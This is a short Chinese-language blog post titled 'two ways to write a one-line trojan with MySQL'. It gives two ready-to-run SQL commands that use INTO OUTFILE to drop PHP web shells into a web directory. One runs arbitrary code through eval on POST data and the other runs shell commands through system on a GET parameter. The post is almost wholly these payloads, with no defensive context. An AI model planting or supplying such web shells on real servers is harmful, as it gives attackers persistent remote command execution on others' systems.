Myql写入一句话木马2种方法

通过Mysql命令INTO OUTFILE执行导出数据,生成一句话木马服务端,命令如下:
第一种:

select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/hack.php'

第二种:

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/hack.php'

发表评论

电子邮件地址不会被公开。 必填项已用*标注